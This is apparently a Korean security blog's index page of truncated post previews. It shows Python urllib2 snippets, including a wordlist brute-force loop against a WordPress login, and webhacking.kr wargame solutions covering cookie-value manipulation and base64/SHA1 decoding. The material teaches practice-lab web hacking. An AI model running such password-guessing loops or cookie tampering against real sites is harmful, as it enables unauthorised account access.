[5] 패스워드 크래킹 패스워드 크래킹은 아이디를 이미 알고 있다는 가정하에 진행하며 사전대입 공격이므로 좋은 사전 파일을 미리 구해놓는 것이 좋다.이를 방지하기 위해서는 임계치를 설정해둬야한다.import urllib import urllib2 url = "http://server/wordpress/wp-login.php" id = "python" wordlist = open('wordlist.txt', 'r') passwords = wordlist.readlines() for password in passwords: password = password.strip() values = {'log' : id, 'pwd' : password} data = urllib.urlencode(values) request = urllib2.. 해킹&보안/웹 해킹 8년 전
[4] 웹 페이지 호출 예제 (urllib, urllib2) import urllib import urllib2 url = "http://server/wordpress/wp-login.php" values = {'log':'python', 'pwd':'python1'} headers = {'User-Agent': 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'} data = urllib.urlencode(values) request = urllib2.Request(url, data, headers) response = urllib2.urlopen(request) print "#URL:%s" % response.geturl() print "#CODE:%s" % response.getcode() print "#INFO:%s" %.. 해킹&보안/웹 해킹 8년 전
[3] 쿠키정보 유지하기(urllib2) import urllib import urllib2 #cookie 값 얻기 url = "http://webhacking.kr/index.html?enter=1" loginInfo={"id":"아이디", "pw":"암호"} loginInfo = urllib.urlencode(loginInfo) req = urllib2.Request(url, loginInfo) response = urllib2.urlopen(req) cookie = response.headers.get('Set-Cookie') #쿠키값 다시 적용시켜 세션 유지하기 url2 = "http://webhacking.kr/challenge/web/web-02/" req = urllib2.Request(url2) req.add_header('coo.. 해킹&보안/웹 해킹 8년 전
[webhacking.kr] 4번 http://webhacking.kr 에서 풀 수 있는4번 문제이다. YzQwMzNiZmY5NGI1NjdhMTkwZTMzZmFhNTUxZjQxMWNhZWY0NDRmMg==일단 딱봐도 base64로 디코딩해야할 것 같다. 디코딩을 한번 진행하면 다음과 같은 문자열이 나온다. [c4033bff94b567a190e33faa551f411caef444f2] 이번에는 해당 문자열이 40글자임을 보아 sha1로 디코딩 해야할 것 같다.sha1 디코딩 사이트인 https://hashkiller.co.uk/sha1-decrypter.aspx 로 접속하여 디코딩을 2번 진행한다. 그러면 다음과 같이 password값이 나온다.정답은 test 이다. 해킹&보안/webhacking.kr 8년 전
[webhacking.kr] 1번 http://webhacking.kr 에서 풀 수 있는 1번 문제이다. 아무것도 없으니 index.phps 글자를 눌러본다. 그러면 해당 페이지로 넘어간다. 다음과 같은 소스가 뜬다. 대충보니 쿠키값을 이용하는 것이며 참조하는 쿠키값의 이름은 user_lv 이다. user_lv이 설정되어 있지 않으면 user_lv 쿠키값을 1로 설정하며 이미 설정되어 있을 때는 조건과 비교를 진행한다.조건은 user_lv이 6보다 크거나 같으면 1로 재 설정하며 5보다 커야 문제가 풀린다. 아주 잠깐 생각하다가 user_lv이 정수여야 한다는 조건이 없기에 cooxie를 이용하여 user_lv을 5.5로 바꿔준다.5.5로 설정한 뒤 새로고침을 진행하면 해당 문제를 풀고 점수를 얻을 수 있다. 해킹&보안/webhacking.kr 8년 전
[webhacking.kr] 로그인/회원가입 webhacking.kr에서 웹 해킹 문제를 연습하려한다. 들어가면 다음과 같은 화면만 나온다. 회원가입을 해야만 로그인이 가능할 텐데 회원가입 버튼이 보이지 않는다. 회원가입창을 찾기 위해 페이지 소스보기를 진행한다.그러면 다음과 같이 39줄에 주석처리된 부분이 존재한다. button의 이름만 봐도 회원가입 버튼임을 알겠다. 이제 해당 주석 부분을 주석 해제해본다. 주석 해제 시 Register 버튼이 생겨나고 해당 버튼을 눌러 들어가 회원가입을 진행하면 된다. 하지만 또 다시 decode me라는 입력창이 문제다. ==표시가 있는 것을 보아 base 64로 encode가 되어있는 것 같다. base64 decode를 통해 반복해서 복호화를 진행해주면 자신의 공인 IP가 나옴을 확인할 수 있고 해당 입.. 해킹&보안/webhacking.kr 8년 전
[2] Request Message 보내기(urllib2) import urllibimport urllib2 url = "http://192.168.129.129/board/login_ck.asp" req = urllib2.Request(url) data = {"memberid" : id, "pass1" : ""} ##POST 방식 data = urllib.urlencode(data) req = urllib2.Request(url, data) response = urllib2.urlopen(req) the_page = response.read() if the_page.find("HELLO") != -1: break ------> POST 방식 import urllib import urllib2 response = urllib2.urlopen('http://tes.. 해킹&보안/웹 해킹 8년 전